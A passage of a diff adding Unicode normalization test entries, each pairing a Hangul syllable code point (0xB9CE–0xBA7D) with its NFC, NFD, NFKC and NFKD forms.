+{ source: [0xB9CE], NFC: [0xB9CE], NFD: [0x1106, 0x1161, 0x11AD], NFKC: [0xB9CE], NFKD: [0x1106, 0x1161, 0x11AD] },
+{ source: [0xB9CF], NFC: [0xB9CF], NFD: [0x1106, 0x1161, 0x11AE], NFKC: [0xB9CF], NFKD: [0x1106, 0x1161, 0x11AE] },
+{ source: [0xB9D0], NFC: [0xB9D0], NFD: [0x1106, 0x1161, 0x11AF], NFKC: [0xB9D0], NFKD: [0x1106, 0x1161, 0x11AF] },
+{ source: [0xB9D1], NFC: [0xB9D1], NFD: [0x1106, 0x1161, 0x11B0], NFKC: [0xB9D1], NFKD: [0x1106, 0x1161, 0x11B0] },
+{ source: [0xB9D2], NFC: [0xB9D2], NFD: [0x1106, 0x1161, 0x11B1], NFKC: [0xB9D2], NFKD: [0x1106, 0x1161, 0x11B1] },
+{ source: [0xB9D3], NFC: [0xB9D3], NFD: [0x1106, 0x1161, 0x11B2], NFKC: [0xB9D3], NFKD: [0x1106, 0x1161, 0x11B2] },
+{ source: [0xB9D4], NFC: [0xB9D4], NFD: [0x1106, 0x1161, 0x11B3], NFKC: [0xB9D4], NFKD: [0x1106, 0x1161, 0x11B3] },
+{ source: [0xB9D5], NFC: [0xB9D5], NFD: [0x1106, 0x1161, 0x11B4], NFKC: [0xB9D5], NFKD: [0x1106, 0x1161, 0x11B4] },
+{ source: [0xB9D6], NFC: [0xB9D6], NFD: [0x1106, 0x1161, 0x11B5], NFKC: [0xB9D6], NFKD: [0x1106, 0x1161, 0x11B5] },
+{ source: [0xB9D7], NFC: [0xB9D7], NFD: [0x1106, 0x1161, 0x11B6], NFKC: [0xB9D7], NFKD: [0x1106, 0x1161, 0x11B6] },
+{ source: [0xB9D8], NFC: [0xB9D8], NFD: [0x1106, 0x1161, 0x11B7], NFKC: [0xB9D8], NFKD: [0x1106, 0x1161, 0x11B7] },
+{ source: [0xB9D9], NFC: [0xB9D9], NFD: [0x1106, 0x1161, 0x11B8], NFKC: [0xB9D9], NFKD: [0x1106, 0x1161, 0x11B8] },
+{ source: [0xB9DA], NFC: [0xB9DA], NFD: [0x1106, 0x1161, 0x11B9], NFKC: [0xB9DA], NFKD: [0x1106, 0x1161, 0x11B9] },
+{ source: [0xB9DB], NFC: [0xB9DB], NFD: [0x1106, 0x1161, 0x11BA], NFKC: [0xB9DB], NFKD: [0x1106, 0x1161, 0x11BA] },
+{ source: [0xB9DC], NFC: [0xB9DC], NFD: [0x1106, 0x1161, 0x11BB], NFKC: [0xB9DC], NFKD: [0x1106, 0x1161, 0x11BB] },
+{ source: [0xB9DD], NFC: [0xB9DD], NFD: [0x1106, 0x1161, 0x11BC], NFKC: [0xB9DD], NFKD: [0x1106, 0x1161, 0x11BC] },
+{ source: [0xB9DE], NFC: [0xB9DE], NFD: [0x1106, 0x1161, 0x11BD], NFKC: [0xB9DE], NFKD: [0x1106, 0x1161, 0x11BD] },
+{ source: [0xB9DF], NFC: [0xB9DF], NFD: [0x1106, 0x1161, 0x11BE], NFKC: [0xB9DF], NFKD: [0x1106, 0x1161, 0x11BE] },
+{ source: [0xB9E0], NFC: [0xB9E0], NFD: [0x1106, 0x1161, 0x11BF], NFKC: [0xB9E0], NFKD: [0x1106, 0x1161, 0x11BF] },
+{ source: [0xB9E1], NFC: [0xB9E1], NFD: [0x1106, 0x1161, 0x11C0], NFKC: [0xB9E1], NFKD: [0x1106, 0x1161, 0x11C0] },
+{ source: [0xB9E2], NFC: [0xB9E2], NFD: [0x1106, 0x1161, 0x11C1], NFKC: [0xB9E2], NFKD: [0x1106, 0x1161, 0x11C1] },
+{ source: [0xB9E3], NFC: [0xB9E3], NFD: [0x1106, 0x1161, 0x11C2], NFKC: [0xB9E3], NFKD: [0x1106, 0x1161, 0x11C2] },
+{ source: [0xB9E4], NFC: [0xB9E4], NFD: [0x1106, 0x1162], NFKC: [0xB9E4], NFKD: [0x1106, 0x1162] },
+{ source: [0xB9E5], NFC: [0xB9E5], NFD: [0x1106, 0x1162, 0x11A8], NFKC: [0xB9E5], NFKD: [0x1106, 0x1162, 0x11A8] },
+{ source: [0xB9E6], NFC: [0xB9E6], NFD: [0x1106, 0x1162, 0x11A9], NFKC: [0xB9E6], NFKD: [0x1106, 0x1162, 0x11A9] },
+{ source: [0xB9E7], NFC: [0xB9E7], NFD: [0x1106, 0x1162, 0x11AA], NFKC: [0xB9E7], NFKD: [0x1106, 0x1162, 0x11AA] },
+{ source: [0xB9E8], NFC: [0xB9E8], NFD: [0x1106, 0x1162, 0x11AB], NFKC: [0xB9E8], NFKD: [0x1106, 0x1162, 0x11AB] },
+{ source: [0xB9E9], NFC: [0xB9E9], NFD: [0x1106, 0x1162, 0x11AC], NFKC: [0xB9E9], NFKD: [0x1106, 0x1162, 0x11AC] },
+{ source: [0xB9EA], NFC: [0xB9EA], NFD: [0x1106, 0x1162, 0x11AD], NFKC: [0xB9EA], NFKD: [0x1106, 0x1162, 0x11AD] },
+{ source: [0xB9EB], NFC: [0xB9EB], NFD: [0x1106, 0x1162, 0x11AE], NFKC: [0xB9EB], NFKD: [0x1106, 0x1162, 0x11AE] },
+{ source: [0xB9EC], NFC: [0xB9EC], NFD: [0x1106, 0x1162, 0x11AF], NFKC: [0xB9EC], NFKD: [0x1106, 0x1162, 0x11AF] },
+{ source: [0xB9ED], NFC: [0xB9ED], NFD: [0x1106, 0x1162, 0x11B0], NFKC: [0xB9ED], NFKD: [0x1106, 0x1162, 0x11B0] },
+{ source: [0xB9EE], NFC: [0xB9EE], NFD: [0x1106, 0x1162, 0x11B1], NFKC: [0xB9EE], NFKD: [0x1106, 0x1162, 0x11B1] },
+{ source: [0xB9EF], NFC: [0xB9EF], NFD: [0x1106, 0x1162, 0x11B2], NFKC: [0xB9EF], NFKD: [0x1106, 0x1162, 0x11B2] },
+{ source: [0xB9F0], NFC: [0xB9F0], NFD: [0x1106, 0x1162, 0x11B3], NFKC: [0xB9F0], NFKD: [0x1106, 0x1162, 0x11B3] },
+{ source: [0xB9F1], NFC: [0xB9F1], NFD: [0x1106, 0x1162, 0x11B4], NFKC: [0xB9F1], NFKD: [0x1106, 0x1162, 0x11B4] },
+{ source: [0xB9F2], NFC: [0xB9F2], NFD: [0x1106, 0x1162, 0x11B5], NFKC: [0xB9F2], NFKD: [0x1106, 0x1162, 0x11B5] },
+{ source: [0xB9F3], NFC: [0xB9F3], NFD: [0x1106, 0x1162, 0x11B6], NFKC: [0xB9F3], NFKD: [0x1106, 0x1162, 0x11B6] },
+{ source: [0xB9F4], NFC: [0xB9F4], NFD: [0x1106, 0x1162, 0x11B7], NFKC: [0xB9F4], NFKD: [0x1106, 0x1162, 0x11B7] },
+{ source: [0xB9F5], NFC: [0xB9F5], NFD: [0x1106, 0x1162, 0x11B8], NFKC: [0xB9F5], NFKD: [0x1106, 0x1162, 0x11B8] },
+{ source: [0xB9F6], NFC: [0xB9F6], NFD: [0x1106, 0x1162, 0x11B9], NFKC: [0xB9F6], NFKD: [0x1106, 0x1162, 0x11B9] },
+{ source: [0xB9F7], NFC: [0xB9F7], NFD: [0x1106, 0x1162, 0x11BA], NFKC: [0xB9F7], NFKD: [0x1106, 0x1162, 0x11BA] },
+{ source: [0xB9F8], NFC: [0xB9F8], NFD: [0x1106, 0x1162, 0x11BB], NFKC: [0xB9F8], NFKD: [0x1106, 0x1162, 0x11BB] },
+{ source: [0xB9F9], NFC: [0xB9F9], NFD: [0x1106, 0x1162, 0x11BC], NFKC: [0xB9F9], NFKD: [0x1106, 0x1162, 0x11BC] },
+{ source: [0xB9FA], NFC: [0xB9FA], NFD: [0x1106, 0x1162, 0x11BD], NFKC: [0xB9FA], NFKD: [0x1106, 0x1162, 0x11BD] },
+{ source: [0xB9FB], NFC: [0xB9FB], NFD: [0x1106, 0x1162, 0x11BE], NFKC: [0xB9FB], NFKD: [0x1106, 0x1162, 0x11BE] },
+{ source: [0xB9FC], NFC: [0xB9FC], NFD: [0x1106, 0x1162, 0x11BF], NFKC: [0xB9FC], NFKD: [0x1106, 0x1162, 0x11BF] },
+{ source: [0xB9FD], NFC: [0xB9FD], NFD: [0x1106, 0x1162, 0x11C0], NFKC: [0xB9FD], NFKD: [0x1106, 0x1162, 0x11C0] },
+{ source: [0xB9FE], NFC: [0xB9FE], NFD: [0x1106, 0x1162, 0x11C1], NFKC: [0xB9FE], NFKD: [0x1106, 0x1162, 0x11C1] },
+{ source: [0xB9FF], NFC: [0xB9FF], NFD: [0x1106, 0x1162, 0x11C2], NFKC: [0xB9FF], NFKD: [0x1106, 0x1162, 0x11C2] },
+{ source: [0xBA00], NFC: [0xBA00], NFD: [0x1106, 0x1163], NFKC: [0xBA00], NFKD: [0x1106, 0x1163] },
+{ source: [0xBA01], NFC: [0xBA01], NFD: [0x1106, 0x1163, 0x11A8], NFKC: [0xBA01], NFKD: [0x1106, 0x1163, 0x11A8] },
+{ source: [0xBA02], NFC: [0xBA02], NFD: [0x1106, 0x1163, 0x11A9], NFKC: [0xBA02], NFKD: [0x1106, 0x1163, 0x11A9] },
+{ source: [0xBA03], NFC: [0xBA03], NFD: [0x1106, 0x1163, 0x11AA], NFKC: [0xBA03], NFKD: [0x1106, 0x1163, 0x11AA] },
+{ source: [0xBA04], NFC: [0xBA04], NFD: [0x1106, 0x1163, 0x11AB], NFKC: [0xBA04], NFKD: [0x1106, 0x1163, 0x11AB] },
+{ source: [0xBA05], NFC: [0xBA05], NFD: [0x1106, 0x1163, 0x11AC], NFKC: [0xBA05], NFKD: [0x1106, 0x1163, 0x11AC] },
+{ source: [0xBA06], NFC: [0xBA06], NFD: [0x1106, 0x1163, 0x11AD], NFKC: [0xBA06], NFKD: [0x1106, 0x1163, 0x11AD] },
+{ source: [0xBA07], NFC: [0xBA07], NFD: [0x1106, 0x1163, 0x11AE], NFKC: [0xBA07], NFKD: [0x1106, 0x1163, 0x11AE] },
+{ source: [0xBA08], NFC: [0xBA08], NFD: [0x1106, 0x1163, 0x11AF], NFKC: [0xBA08], NFKD: [0x1106, 0x1163, 0x11AF] },
+{ source: [0xBA09], NFC: [0xBA09], NFD: [0x1106, 0x1163, 0x11B0], NFKC: [0xBA09], NFKD: [0x1106, 0x1163, 0x11B0] },
+{ source: [0xBA0A], NFC: [0xBA0A], NFD: [0x1106, 0x1163, 0x11B1], NFKC: [0xBA0A], NFKD: [0x1106, 0x1163, 0x11B1] },
+{ source: [0xBA0B], NFC: [0xBA0B], NFD: [0x1106, 0x1163, 0x11B2], NFKC: [0xBA0B], NFKD: [0x1106, 0x1163, 0x11B2] },
+{ source: [0xBA0C], NFC: [0xBA0C], NFD: [0x1106, 0x1163, 0x11B3], NFKC: [0xBA0C], NFKD: [0x1106, 0x1163, 0x11B3] },
+{ source: [0xBA0D], NFC: [0xBA0D], NFD: [0x1106, 0x1163, 0x11B4], NFKC: [0xBA0D], NFKD: [0x1106, 0x1163, 0x11B4] },
+{ source: [0xBA0E], NFC: [0xBA0E], NFD: [0x1106, 0x1163, 0x11B5], NFKC: [0xBA0E], NFKD: [0x1106, 0x1163, 0x11B5] },
+{ source: [0xBA0F], NFC: [0xBA0F], NFD: [0x1106, 0x1163, 0x11B6], NFKC: [0xBA0F], NFKD: [0x1106, 0x1163, 0x11B6] },
+{ source: [0xBA10], NFC: [0xBA10], NFD: [0x1106, 0x1163, 0x11B7], NFKC: [0xBA10], NFKD: [0x1106, 0x1163, 0x11B7] },
+{ source: [0xBA11], NFC: [0xBA11], NFD: [0x1106, 0x1163, 0x11B8], NFKC: [0xBA11], NFKD: [0x1106, 0x1163, 0x11B8] },
+{ source: [0xBA12], NFC: [0xBA12], NFD: [0x1106, 0x1163, 0x11B9], NFKC: [0xBA12], NFKD: [0x1106, 0x1163, 0x11B9] },
+{ source: [0xBA13], NFC: [0xBA13], NFD: [0x1106, 0x1163, 0x11BA], NFKC: [0xBA13], NFKD: [0x1106, 0x1163, 0x11BA] },
+{ source: [0xBA14], NFC: [0xBA14], NFD: [0x1106, 0x1163, 0x11BB], NFKC: [0xBA14], NFKD: [0x1106, 0x1163, 0x11BB] },
+{ source: [0xBA15], NFC: [0xBA15], NFD: [0x1106, 0x1163, 0x11BC], NFKC: [0xBA15], NFKD: [0x1106, 0x1163, 0x11BC] },
+{ source: [0xBA16], NFC: [0xBA16], NFD: [0x1106, 0x1163, 0x11BD], NFKC: [0xBA16], NFKD: [0x1106, 0x1163, 0x11BD] },
+{ source: [0xBA17], NFC: [0xBA17], NFD: [0x1106, 0x1163, 0x11BE], NFKC: [0xBA17], NFKD: [0x1106, 0x1163, 0x11BE] },
+{ source: [0xBA18], NFC: [0xBA18], NFD: [0x1106, 0x1163, 0x11BF], NFKC: [0xBA18], NFKD: [0x1106, 0x1163, 0x11BF] },
+{ source: [0xBA19], NFC: [0xBA19], NFD: [0x1106, 0x1163, 0x11C0], NFKC: [0xBA19], NFKD: [0x1106, 0x1163, 0x11C0] },
+{ source: [0xBA1A], NFC: [0xBA1A], NFD: [0x1106, 0x1163, 0x11C1], NFKC: [0xBA1A], NFKD: [0x1106, 0x1163, 0x11C1] },
+{ source: [0xBA1B], NFC: [0xBA1B], NFD: [0x1106, 0x1163, 0x11C2], NFKC: [0xBA1B], NFKD: [0x1106, 0x1163, 0x11C2] },
+{ source: [0xBA1C], NFC: [0xBA1C], NFD: [0x1106, 0x1164], NFKC: [0xBA1C], NFKD: [0x1106, 0x1164] },
+{ source: [0xBA1D], NFC: [0xBA1D], NFD: [0x1106, 0x1164, 0x11A8], NFKC: [0xBA1D], NFKD: [0x1106, 0x1164, 0x11A8] },
+{ source: [0xBA1E], NFC: [0xBA1E], NFD: [0x1106, 0x1164, 0x11A9], NFKC: [0xBA1E], NFKD: [0x1106, 0x1164, 0x11A9] },
+{ source: [0xBA1F], NFC: [0xBA1F], NFD: [0x1106, 0x1164, 0x11AA], NFKC: [0xBA1F], NFKD: [0x1106, 0x1164, 0x11AA] },
+{ source: [0xBA20], NFC: [0xBA20], NFD: [0x1106, 0x1164, 0x11AB], NFKC: [0xBA20], NFKD: [0x1106, 0x1164, 0x11AB] },
+{ source: [0xBA21], NFC: [0xBA21], NFD: [0x1106, 0x1164, 0x11AC], NFKC: [0xBA21], NFKD: [0x1106, 0x1164, 0x11AC] },
+{ source: [0xBA22], NFC: [0xBA22], NFD: [0x1106, 0x1164, 0x11AD], NFKC: [0xBA22], NFKD: [0x1106, 0x1164, 0x11AD] },
+{ source: [0xBA23], NFC: [0xBA23], NFD: [0x1106, 0x1164, 0x11AE], NFKC: [0xBA23], NFKD: [0x1106, 0x1164, 0x11AE] },
+{ source: [0xBA24], NFC: [0xBA24], NFD: [0x1106, 0x1164, 0x11AF], NFKC: [0xBA24], NFKD: [0x1106, 0x1164, 0x11AF] },
+{ source: [0xBA25], NFC: [0xBA25], NFD: [0x1106, 0x1164, 0x11B0], NFKC: [0xBA25], NFKD: [0x1106, 0x1164, 0x11B0] },
+{ source: [0xBA26], NFC: [0xBA26], NFD: [0x1106, 0x1164, 0x11B1], NFKC: [0xBA26], NFKD: [0x1106, 0x1164, 0x11B1] },
+{ source: [0xBA27], NFC: [0xBA27], NFD: [0x1106, 0x1164, 0x11B2], NFKC: [0xBA27], NFKD: [0x1106, 0x1164, 0x11B2] },
+{ source: [0xBA28], NFC: [0xBA28], NFD: [0x1106, 0x1164, 0x11B3], NFKC: [0xBA28], NFKD: [0x1106, 0x1164, 0x11B3] },
+{ source: [0xBA29], NFC: [0xBA29], NFD: [0x1106, 0x1164, 0x11B4], NFKC: [0xBA29], NFKD: [0x1106, 0x1164, 0x11B4] },
+{ source: [0xBA2A], NFC: [0xBA2A], NFD: [0x1106, 0x1164, 0x11B5], NFKC: [0xBA2A], NFKD: [0x1106, 0x1164, 0x11B5] },
+{ source: [0xBA2B], NFC: [0xBA2B], NFD: [0x1106, 0x1164, 0x11B6], NFKC: [0xBA2B], NFKD: [0x1106, 0x1164, 0x11B6] },
+{ source: [0xBA2C], NFC: [0xBA2C], NFD: [0x1106, 0x1164, 0x11B7], NFKC: [0xBA2C], NFKD: [0x1106, 0x1164, 0x11B7] },
+{ source: [0xBA2D], NFC: [0xBA2D], NFD: [0x1106, 0x1164, 0x11B8], NFKC: [0xBA2D], NFKD: [0x1106, 0x1164, 0x11B8] },
+{ source: [0xBA2E], NFC: [0xBA2E], NFD: [0x1106, 0x1164, 0x11B9], NFKC: [0xBA2E], NFKD: [0x1106, 0x1164, 0x11B9] },
+{ source: [0xBA2F], NFC: [0xBA2F], NFD: [0x1106, 0x1164, 0x11BA], NFKC: [0xBA2F], NFKD: [0x1106, 0x1164, 0x11BA] },
+{ source: [0xBA30], NFC: [0xBA30], NFD: [0x1106, 0x1164, 0x11BB], NFKC: [0xBA30], NFKD: [0x1106, 0x1164, 0x11BB] },
+{ source: [0xBA31], NFC: [0xBA31], NFD: [0x1106, 0x1164, 0x11BC], NFKC: [0xBA31], NFKD: [0x1106, 0x1164, 0x11BC] },
+{ source: [0xBA32], NFC: [0xBA32], NFD: [0x1106, 0x1164, 0x11BD], NFKC: [0xBA32], NFKD: [0x1106, 0x1164, 0x11BD] },
+{ source: [0xBA33], NFC: [0xBA33], NFD: [0x1106, 0x1164, 0x11BE], NFKC: [0xBA33], NFKD: [0x1106, 0x1164, 0x11BE] },
+{ source: [0xBA34], NFC: [0xBA34], NFD: [0x1106, 0x1164, 0x11BF], NFKC: [0xBA34], NFKD: [0x1106, 0x1164, 0x11BF] },
+{ source: [0xBA35], NFC: [0xBA35], NFD: [0x1106, 0x1164, 0x11C0], NFKC: [0xBA35], NFKD: [0x1106, 0x1164, 0x11C0] },
+{ source: [0xBA36], NFC: [0xBA36], NFD: [0x1106, 0x1164, 0x11C1], NFKC: [0xBA36], NFKD: [0x1106, 0x1164, 0x11C1] },
+{ source: [0xBA37], NFC: [0xBA37], NFD: [0x1106, 0x1164, 0x11C2], NFKC: [0xBA37], NFKD: [0x1106, 0x1164, 0x11C2] },
+{ source: [0xBA38], NFC: [0xBA38], NFD: [0x1106, 0x1165], NFKC: [0xBA38], NFKD: [0x1106, 0x1165] },
+{ source: [0xBA39], NFC: [0xBA39], NFD: [0x1106, 0x1165, 0x11A8], NFKC: [0xBA39], NFKD: [0x1106, 0x1165, 0x11A8] },
+{ source: [0xBA3A], NFC: [0xBA3A], NFD: [0x1106, 0x1165, 0x11A9], NFKC: [0xBA3A], NFKD: [0x1106, 0x1165, 0x11A9] },
+{ source: [0xBA3B], NFC: [0xBA3B], NFD: [0x1106, 0x1165, 0x11AA], NFKC: [0xBA3B], NFKD: [0x1106, 0x1165, 0x11AA] },
+{ source: [0xBA3C], NFC: [0xBA3C], NFD: [0x1106, 0x1165, 0x11AB], NFKC: [0xBA3C], NFKD: [0x1106, 0x1165, 0x11AB] },
+{ source: [0xBA3D], NFC: [0xBA3D], NFD: [0x1106, 0x1165, 0x11AC], NFKC: [0xBA3D], NFKD: [0x1106, 0x1165, 0x11AC] },
+{ source: [0xBA3E], NFC: [0xBA3E], NFD: [0x1106, 0x1165, 0x11AD], NFKC: [0xBA3E], NFKD: [0x1106, 0x1165, 0x11AD] },
+{ source: [0xBA3F], NFC: [0xBA3F], NFD: [0x1106, 0x1165, 0x11AE], NFKC: [0xBA3F], NFKD: [0x1106, 0x1165, 0x11AE] },
+{ source: [0xBA40], NFC: [0xBA40], NFD: [0x1106, 0x1165, 0x11AF], NFKC: [0xBA40], NFKD: [0x1106, 0x1165, 0x11AF] },
+{ source: [0xBA41], NFC: [0xBA41], NFD: [0x1106, 0x1165, 0x11B0], NFKC: [0xBA41], NFKD: [0x1106, 0x1165, 0x11B0] },
+{ source: [0xBA42], NFC: [0xBA42], NFD: [0x1106, 0x1165, 0x11B1], NFKC: [0xBA42], NFKD: [0x1106, 0x1165, 0x11B1] },
+{ source: [0xBA43], NFC: [0xBA43], NFD: [0x1106, 0x1165, 0x11B2], NFKC: [0xBA43], NFKD: [0x1106, 0x1165, 0x11B2] },
+{ source: [0xBA44], NFC: [0xBA44], NFD: [0x1106, 0x1165, 0x11B3], NFKC: [0xBA44], NFKD: [0x1106, 0x1165, 0x11B3] },
+{ source: [0xBA45], NFC: [0xBA45], NFD: [0x1106, 0x1165, 0x11B4], NFKC: [0xBA45], NFKD: [0x1106, 0x1165, 0x11B4] },
+{ source: [0xBA46], NFC: [0xBA46], NFD: [0x1106, 0x1165, 0x11B5], NFKC: [0xBA46], NFKD: [0x1106, 0x1165, 0x11B5] },
+{ source: [0xBA47], NFC: [0xBA47], NFD: [0x1106, 0x1165, 0x11B6], NFKC: [0xBA47], NFKD: [0x1106, 0x1165, 0x11B6] },
+{ source: [0xBA48], NFC: [0xBA48], NFD: [0x1106, 0x1165, 0x11B7], NFKC: [0xBA48], NFKD: [0x1106, 0x1165, 0x11B7] },
+{ source: [0xBA49], NFC: [0xBA49], NFD: [0x1106, 0x1165, 0x11B8], NFKC: [0xBA49], NFKD: [0x1106, 0x1165, 0x11B8] },
+{ source: [0xBA4A], NFC: [0xBA4A], NFD: [0x1106, 0x1165, 0x11B9], NFKC: [0xBA4A], NFKD: [0x1106, 0x1165, 0x11B9] },
+{ source: [0xBA4B], NFC: [0xBA4B], NFD: [0x1106, 0x1165, 0x11BA], NFKC: [0xBA4B], NFKD: [0x1106, 0x1165, 0x11BA] },
+{ source: [0xBA4C], NFC: [0xBA4C], NFD: [0x1106, 0x1165, 0x11BB], NFKC: [0xBA4C], NFKD: [0x1106, 0x1165, 0x11BB] },
+{ source: [0xBA4D], NFC: [0xBA4D], NFD: [0x1106, 0x1165, 0x11BC], NFKC: [0xBA4D], NFKD: [0x1106, 0x1165, 0x11BC] },
+{ source: [0xBA4E], NFC: [0xBA4E], NFD: [0x1106, 0x1165, 0x11BD], NFKC: [0xBA4E], NFKD: [0x1106, 0x1165, 0x11BD] },
+{ source: [0xBA4F], NFC: [0xBA4F], NFD: [0x1106, 0x1165, 0x11BE], NFKC: [0xBA4F], NFKD: [0x1106, 0x1165, 0x11BE] },
+{ source: [0xBA50], NFC: [0xBA50], NFD: [0x1106, 0x1165, 0x11BF], NFKC: [0xBA50], NFKD: [0x1106, 0x1165, 0x11BF] },
+{ source: [0xBA51], NFC: [0xBA51], NFD: [0x1106, 0x1165, 0x11C0], NFKC: [0xBA51], NFKD: [0x1106, 0x1165, 0x11C0] },
+{ source: [0xBA52], NFC: [0xBA52], NFD: [0x1106, 0x1165, 0x11C1], NFKC: [0xBA52], NFKD: [0x1106, 0x1165, 0x11C1] },
+{ source: [0xBA53], NFC: [0xBA53], NFD: [0x1106, 0x1165, 0x11C2], NFKC: [0xBA53], NFKD: [0x1106, 0x1165, 0x11C2] },
+{ source: [0xBA54], NFC: [0xBA54], NFD: [0x1106, 0x1166], NFKC: [0xBA54], NFKD: [0x1106, 0x1166] },
+{ source: [0xBA55], NFC: [0xBA55], NFD: [0x1106, 0x1166, 0x11A8], NFKC: [0xBA55], NFKD: [0x1106, 0x1166, 0x11A8] },
+{ source: [0xBA56], NFC: [0xBA56], NFD: [0x1106, 0x1166, 0x11A9], NFKC: [0xBA56], NFKD: [0x1106, 0x1166, 0x11A9] },
+{ source: [0xBA57], NFC: [0xBA57], NFD: [0x1106, 0x1166, 0x11AA], NFKC: [0xBA57], NFKD: [0x1106, 0x1166, 0x11AA] },
+{ source: [0xBA58], NFC: [0xBA58], NFD: [0x1106, 0x1166, 0x11AB], NFKC: [0xBA58], NFKD: [0x1106, 0x1166, 0x11AB] },
+{ source: [0xBA59], NFC: [0xBA59], NFD: [0x1106, 0x1166, 0x11AC], NFKC: [0xBA59], NFKD: [0x1106, 0x1166, 0x11AC] },
+{ source: [0xBA5A], NFC: [0xBA5A], NFD: [0x1106, 0x1166, 0x11AD], NFKC: [0xBA5A], NFKD: [0x1106, 0x1166, 0x11AD] },
+{ source: [0xBA5B], NFC: [0xBA5B], NFD: [0x1106, 0x1166, 0x11AE], NFKC: [0xBA5B], NFKD: [0x1106, 0x1166, 0x11AE] },
+{ source: [0xBA5C], NFC: [0xBA5C], NFD: [0x1106, 0x1166, 0x11AF], NFKC: [0xBA5C], NFKD: [0x1106, 0x1166, 0x11AF] },
+{ source: [0xBA5D], NFC: [0xBA5D], NFD: [0x1106, 0x1166, 0x11B0], NFKC: [0xBA5D], NFKD: [0x1106, 0x1166, 0x11B0] },
+{ source: [0xBA5E], NFC: [0xBA5E], NFD: [0x1106, 0x1166, 0x11B1], NFKC: [0xBA5E], NFKD: [0x1106, 0x1166, 0x11B1] },
+{ source: [0xBA5F], NFC: [0xBA5F], NFD: [0x1106, 0x1166, 0x11B2], NFKC: [0xBA5F], NFKD: [0x1106, 0x1166, 0x11B2] },
+{ source: [0xBA60], NFC: [0xBA60], NFD: [0x1106, 0x1166, 0x11B3], NFKC: [0xBA60], NFKD: [0x1106, 0x1166, 0x11B3] },
+{ source: [0xBA61], NFC: [0xBA61], NFD: [0x1106, 0x1166, 0x11B4], NFKC: [0xBA61], NFKD: [0x1106, 0x1166, 0x11B4] },
+{ source: [0xBA62], NFC: [0xBA62], NFD: [0x1106, 0x1166, 0x11B5], NFKC: [0xBA62], NFKD: [0x1106, 0x1166, 0x11B5] },
+{ source: [0xBA63], NFC: [0xBA63], NFD: [0x1106, 0x1166, 0x11B6], NFKC: [0xBA63], NFKD: [0x1106, 0x1166, 0x11B6] },
+{ source: [0xBA64], NFC: [0xBA64], NFD: [0x1106, 0x1166, 0x11B7], NFKC: [0xBA64], NFKD: [0x1106, 0x1166, 0x11B7] },
+{ source: [0xBA65], NFC: [0xBA65], NFD: [0x1106, 0x1166, 0x11B8], NFKC: [0xBA65], NFKD: [0x1106, 0x1166, 0x11B8] },
+{ source: [0xBA66], NFC: [0xBA66], NFD: [0x1106, 0x1166, 0x11B9], NFKC: [0xBA66], NFKD: [0x1106, 0x1166, 0x11B9] },
+{ source: [0xBA67], NFC: [0xBA67], NFD: [0x1106, 0x1166, 0x11BA], NFKC: [0xBA67], NFKD: [0x1106, 0x1166, 0x11BA] },
+{ source: [0xBA68], NFC: [0xBA68], NFD: [0x1106, 0x1166, 0x11BB], NFKC: [0xBA68], NFKD: [0x1106, 0x1166, 0x11BB] },
+{ source: [0xBA69], NFC: [0xBA69], NFD: [0x1106, 0x1166, 0x11BC], NFKC: [0xBA69], NFKD: [0x1106, 0x1166, 0x11BC] },
+{ source: [0xBA6A], NFC: [0xBA6A], NFD: [0x1106, 0x1166, 0x11BD], NFKC: [0xBA6A], NFKD: [0x1106, 0x1166, 0x11BD] },
+{ source: [0xBA6B], NFC: [0xBA6B], NFD: [0x1106, 0x1166, 0x11BE], NFKC: [0xBA6B], NFKD: [0x1106, 0x1166, 0x11BE] },
+{ source: [0xBA6C], NFC: [0xBA6C], NFD: [0x1106, 0x1166, 0x11BF], NFKC: [0xBA6C], NFKD: [0x1106, 0x1166, 0x11BF] },
+{ source: [0xBA6D], NFC: [0xBA6D], NFD: [0x1106, 0x1166, 0x11C0], NFKC: [0xBA6D], NFKD: [0x1106, 0x1166, 0x11C0] },
+{ source: [0xBA6E], NFC: [0xBA6E], NFD: [0x1106, 0x1166, 0x11C1], NFKC: [0xBA6E], NFKD: [0x1106, 0x1166, 0x11C1] },
+{ source: [0xBA6F], NFC: [0xBA6F], NFD: [0x1106, 0x1166, 0x11C2], NFKC: [0xBA6F], NFKD: [0x1106, 0x1166, 0x11C2] },
+{ source: [0xBA70], NFC: [0xBA70], NFD: [0x1106, 0x1167], NFKC: [0xBA70], NFKD: [0x1106, 0x1167] },
+{ source: [0xBA71], NFC: [0xBA71], NFD: [0x1106, 0x1167, 0x11A8], NFKC: [0xBA71], NFKD: [0x1106, 0x1167, 0x11A8] },
+{ source: [0xBA72], NFC: [0xBA72], NFD: [0x1106, 0x1167, 0x11A9], NFKC: [0xBA72], NFKD: [0x1106, 0x1167, 0x11A9] },
+{ source: [0xBA73], NFC: [0xBA73], NFD: [0x1106, 0x1167, 0x11AA], NFKC: [0xBA73], NFKD: [0x1106, 0x1167, 0x11AA] },
+{ source: [0xBA74], NFC: [0xBA74], NFD: [0x1106, 0x1167, 0x11AB], NFKC: [0xBA74], NFKD: [0x1106, 0x1167, 0x11AB] },
+{ source: [0xBA75], NFC: [0xBA75], NFD: [0x1106, 0x1167, 0x11AC], NFKC: [0xBA75], NFKD: [0x1106, 0x1167, 0x11AC] },
+{ source: [0xBA76], NFC: [0xBA76], NFD: [0x1106, 0x1167, 0x11AD], NFKC: [0xBA76], NFKD: [0x1106, 0x1167, 0x11AD] },
+{ source: [0xBA77], NFC: [0xBA77], NFD: [0x1106, 0x1167, 0x11AE], NFKC: [0xBA77], NFKD: [0x1106, 0x1167, 0x11AE] },
+{ source: [0xBA78], NFC: [0xBA78], NFD: [0x1106, 0x1167, 0x11AF], NFKC: [0xBA78], NFKD: [0x1106, 0x1167, 0x11AF] },
+{ source: [0xBA79], NFC: [0xBA79], NFD: [0x1106, 0x1167, 0x11B0], NFKC: [0xBA79], NFKD: [0x1106, 0x1167, 0x11B0] },
+{ source: [0xBA7A], NFC: [0xBA7A], NFD: [0x1106, 0x1167, 0x11B1], NFKC: [0xBA7A], NFKD: [0x1106, 0x1167, 0x11B1] },
+{ source: [0xBA7B], NFC: [0xBA7B], NFD: [0x1106, 0x1167, 0x11B2], NFKC: [0xBA7B], NFKD: [0x1106, 0x1167, 0x11B2] },
+{ source: [0xBA7C], NFC: [0xBA7C], NFD: [0x1106, 0x1167, 0x11B3], NFKC: [0xBA7C], NFKD: [0x1106, 0x1167, 0x11B3] },
+{ source: [0xBA7D], NFC: [0xBA7D], NFD: [0x1106, 0x1167, 0x11B4], NFKC: [0xBA7D], NFKD: [0x1106, 0x1167, 0x11B4] },
